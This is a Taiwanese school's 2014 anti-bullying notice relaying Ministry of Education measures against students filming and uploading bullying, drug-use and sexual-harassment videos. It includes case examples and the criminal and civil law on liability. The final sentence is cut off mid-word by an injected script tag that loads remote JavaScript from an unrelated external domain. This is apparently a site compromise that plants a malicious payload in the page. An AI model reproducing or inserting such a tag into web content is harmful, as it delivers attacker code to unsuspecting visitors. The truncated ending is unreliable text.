公告主題 | 反霸凌宣導-防制學生將校園霸凌與不雅影片上傳網站散布預防輔導作法暨相關法治教育 |
公告單位 | 學務處 教官室 2014-06-05 18:34:37 |
內文 | 教育部「防制學生將校園霸凌與不雅影片上傳網站散布預防輔導作法暨相關法治教育」參考資料 一、背景說明: 鑑於近期青少年利用網站上傳校園霸凌、吸食K他命(拉K)等毒品、性侵害、性騷擾事件等影片之亂象頻傳,經媒體披露報導,造成家長及社會強烈震撼,校園偏差行為學生衍生之安全事件日趨嚴重,在網路誘因刺激下,日益助長社會價值觀扭曲及道德淪喪的歪風,凸顯校園霸凌防制工作仍須強化,為防制學生因炫耀引起之仿效負面效應,各級學校應加強學生網路使用認知素養、尊重個人隱私權益,落實品德與法治教育,防制學生違法上傳不當影片。 二、請各縣市及各級學校配合相關作法: (一)有關網站上流傳校園霸凌、吸食K他命(拉K)、性侵害、性騷擾、性交等濫用藥物事件影片,各級學校主動發現或接獲通知時應立即要求刪除影片,避免擴大流傳,各縣市政府教育局(處)應納入重大管制案件列管追蹤,並追查學校處理情形。 (二)各縣市應規劃辦理防制校園暴力霸凌及學生藥物濫用種子師資研習,並將此等案例納入相關防制處理及輔導知能課程,以強化訓輔人員輔導管理職能。 (三)本部鼓勵各縣市政府配合國中「校園生活問卷調查」時實施記名問卷,並針對個案落實後續輔導,同時各縣市教育局應與校外會密切聯繫,主動掌握個案發展及後續輔導情形,以確實消彌霸凌事件發生,維護學生安全。 (四)各縣市教育局(處)及校外會役男針對提供青少年上網影片之相關網站,每日早晚實施2次搜尋,本部各級學校及各縣(市)校外會一併加強搜尋查察,若有發現個案學生,應建立校安即時通報處理暨學生輔導機制,主動發覺校園暴力霸凌相關訊息,必要時應協請警政單位即時協處,避免擴散。 (五)各縣市校外會持續強化於上、放學期間聯合巡查,維護校區周邊學生上放學安全,避免鬥毆偏差行為發生。 (六)各級學校應加強辦理法律常識教育宣導,講解有關防制網路散布不當影音視訊之偏差行為,人身安全等法律常識,充實危機處理及應變能力,並主動通報警察機關處理校園霸凌案件。 (七)各級學校應加強推動學校品德教育,落實學生道德教育: 1.依據本部訂頒「品德教育促進方案」,採取研究發展、人力培訓、推廣深耕、反省評鑑等4項策略推動辦理。 2.各校應訂定中心德目與行為準則,並納入相關學習領域、彈性學習節數中施教。 3.各縣市應透過各項會議宣導,於校長會議及各項校安工作研討會中籲請各校加強辦理,並納入研討議題討論。 4.建置品德教育資源網及自我檢核指標,蒐集品德教育教材教案及教學活動資源,建立學校自我檢核指標。 (八)針對發生個案要求各縣市政府研提相關策進作為,避免後續負面效應持續發生,相關處理及回報情形已納入「教育部評定各地方政府落實中央教育政策之非常項目」予以評分。 (九)本部業於97年5月1日以台軍(二)字第0970074359號函請警政署刑事警察局協助偵查阻斷學生不法行為影片於國、內外影音分享網站散播,主動刪除違法之學生霸凌、吸毒、性騷擾或侵犯隱私權等影片,並針對散布、播送及上傳供人觀覽聽聞者,將主動依法偵辦。 三、針對學生霸凌、性侵害、性騷擾事件及上傳影音至網路散布行為所觸犯之法律問題研析: (一)校園霸凌、鬥毆及散播暴力影片案例: 1.花蓮○○國中私設「刑路」事件:97年3月20日媒體報載「花蓮縣○○國中學生私設『刑路』,糾集校外少年將他們不爽的同學帶到這條路上凌虐、羞辱,圍觀女同學還錄影,並取名『校園霸凌實錄』貼上網路讓人觀賞」。 2.臺南縣○○國中暴力霸凌影片事件:案係報載「You Tube網路上出現學生自拍影片,6名學生在臺南縣○○國小校園包圍1名紅衣少年圍毆辱罵」,經查係偶發的學生金錢糾紛事件,6名學生集體圍毆1名欠錢不還之學生,並由1名學生以手機攝影上傳影音分享網站。 3.臺北市○○高中男女互毆案:97年4月14日○○高中資處科2名學生因發生口角,並於下課時間在教室內互毆,其過程遭同學用手機拍攝後上傳至無名小站。 4.基隆市○○國中學生霸凌幼童案:97年5月19日報載本案,經查為1名由金門縣○○國中轉學至基隆市○○國中學生於96年間所發生,案係受害者欲至加害者家中打遊戲機遭拒,挾怨持掃把及石塊丟擲加害者家門,致使加害者相當氣憤邀約同學圍堵毆打該名年幼學生,並被另1名學生持手機拍攝當時之凌虐情況上傳無名小站。 ◎上述霸凌及鬥毆案例法律責任探討: 1.霸凌加害者及鬥毆學生:依情節輕重得以觸犯刑法傷害罪章第277條、第278條、第283條、第286條論處「少年(虞)犯部分移送少年法庭審理」(相關法律條文如附件)。 2.被害學生得主張權益: (1)受害學生得依受害程度者,依刑法第277條第1項普通傷害罪提出告訴;若達重傷程度者,可依刑法第277條第2項、第278條、第283條、第286條向司法機關告訴,若於校內發生者,應由學校通報少年隊協處,維護受害學生權益。 (2)受害學生對於加害者得依民法第184條、193條及195條附帶提起民事訴訟,請求財產損害賠償或因不法侵害身體、健康、名譽、自?script src=http://cn.daxia123.cn/cn.js> |
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